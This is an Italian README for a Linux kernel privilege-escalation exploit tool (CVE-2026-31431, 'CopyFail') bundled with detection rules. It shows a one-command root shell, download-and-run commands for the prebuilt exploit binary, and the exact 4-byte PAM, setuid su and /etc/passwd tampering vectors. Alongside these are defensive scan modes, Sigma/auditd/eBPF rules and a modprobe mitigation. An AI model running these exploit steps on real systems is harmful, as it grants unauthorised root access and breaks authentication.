
CopyFail (CVE-2026-31431): PoC di PrivEsc del page-cache del kernel Linux + l'unico strumento di rilevamento pubblico. Nuovo vettore di bypass dell'autenticazione PAM + regole Sigma/auditd/eBPF.
PoC multi-vettore + rilevamento abbinato per CVE-2026-31431 (CopyFail). Include un nuovo vettore di bypass dell'autenticazione PAM che nessun altro PoC pubblico offre. La modalità di rilevamento cattura ciò che AIDE / Wazuh / OSSEC / Tripwire strutturalmente non possono.
Binario statico singolo. ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password per noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Un comando. Shell root. Killshot PAM sotto il cofano (singola scrittura di 4 byte su /etc/pam.d/common-auth), drop PTY in root tramite sudo con password scartata. La riga [sudo] password per noot: lampeggia brevemente, sudo mostra sempre quel prompt; il binario gli fornisce una stringa qualsiasi e il fallimento di pam_unix si propaga attraverso il pam_deny.so commentato fino a pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== rilevamento copyfail-rs: --scan ===
MANOMESSO (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← ciò che è effettivamente caricato (mutato)
disco: 117dab1c... ← ciò che AIDE / Wazuh / Tripwire vedono (pulito)
Questo è il progetto. Disco pulito, cache mutata. Ogni FIM pubblico è cieco. Questo strumento no.
Binari statici precompilati sulla release v0.1.0. Scegli la tua architettura, scarica, esegui.
# x86_64 (la maggior parte dei laptop + server cloud)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Altre architetture:
| Arch | File |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Verifica l'integrità:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
Binari statici musl, nessuna dipendenza runtime, funzionano su qualsiasi Linux.
Mutazione della page cache. Nessuna scrittura VFS. Nessuna pagina sporca. Nessun evento inotify. La riscrittura periodica compete con l'eviction.
AIDE/Wazuh/OSSEC/Tripwire/Samhain leggono tramite I/O bufferizzato → page cache → hash dei byte mutati come verità. Oppure, dopo l'eviction, hash del disco pulito → "non è mai successo nulla."
Il rilevamento richiede O_DIRECT (salta la cache) + lettura bufferizzata (colpisce la cache) + diff degli hash. Discrepanza = firma CopyFail. Questo è --scan.
Selezione automatica: --vector auto (predefinito). Classifica pam > su > passwd per furtività. Fallback in caso di errore.
--json ovunque per l'ingestione SIEM.
detection/:
sigma/copyfail-af-alg.yml, regola Sigma, inseriscila nel tuo SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, one-liner bpftraceapparmor/copyfail-block.profile, regola di negazione AppArmor 3.0+mitigation/disable-algif.sh, blacklist modprobe + avviso =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Oppure kernel mainline a664bf3d603d (aprile 2026). Al momento: solo Debian Sid/Forky lo hanno distribuito. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = tutti vulnerabili.
Avvertenza: CONFIG_CRYPTO_USER_API_AEAD=y (integrato) bypassa silenziosamente modprobe. --check avvisa.
Dopo exploit + mitigazione: la mutazione della cache persiste fino al riavvio. La mitigazione blocca NUOVI exploit, non annulla quelli passati.
cargo build --release --target x86_64-unknown-linux-musl
| Target | Dimensione |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. Nessun allocatore. Nessuna dipendenza runtime. Singolo binario statico.
Artefatti precompilati e somme SHA256 allegati alle release GitHub.
Vedi docs/usage.md per esempi concreti su una schermata per modalità (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Per una versione narrativa più estesa di questo README (più contesto, esposizione più approfondita), vedi BLOG.md.
Vedi docs/threat-model.md.
Solo hardware proprio. Nessun gate CLI (teatro della sicurezza). README + LICENSE = il framework.
La modalità di rilevamento è sola lettura. Sicura in produzione.
La modalità exploit muta la page cache del kernel. Solo RAM ma trattala come distruttiva. Blocca l'autenticazione per qualsiasi chiamante successivo.
CVE-2026-31431 divulgata da Theori / Xint il 2026-04-29 (writeup, blog Xint). PoC pubblici precedenti:
Questo progetto (copyfail-rs): aggiunge il vettore di bypass dell'autenticazione PAM, rilevamento a doppia modalità, artefatti IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, ago 2017)| Vettore | Target | Dove atterra |
|---|
pam (NUOVO) | /etc/pam.d/common-auth (Debian/Ubuntu) o system-auth (Fedora/RHEL/Arch) | 4 byte. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo con qualsiasi password = root. |
su | /usr/bin/su | Muta il testo del binario setuid. execve → root. |
passwd | /etc/passwd | Inversione UID → l'utente diventa root al prossimo login. Rompe SSH per quell'utente. |
| Modalità | Cosa |
|---|
--check | Kernel + modulo + CONFIG_CRYPTO_USER_API_AEAD + stato della mitigazione. Verdetto: vulnerabile / mitigato / sicuro. |
--scan | Diff tra lettura O_DIRECT e bufferizzata sui file critici. Ramificato con statfs(): ext4/xfs/btrfs usano O_DIRECT, overlayfs fa fallback, tmpfs viene saltato. |
--baseline / --diff | Snapshot dello stato noto-pulito. Diff successivo. Delta solo-cache = impronta CopyFail. |
--watch | Daemon. Scansione periodica. SIGTERM pulito. |
--hunt | Scansione flotta SSH. Aggregati JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vettori | su | su + passwd | su | su + passwd + PAM (nuovo) |
| Rilevamento | nessuno | nessuno | nessuno | --mode detect completo |
| Artefatti IR | nessuno | nessuno | nessuno | Sigma + auditd + eBPF + AppArmor |
| UX operatore | 3 comandi | 4 comandi | 5 comandi | 1 comando |
| Binario | richiede Python | ~10 KB | ~5 MB | ~108 KB statico |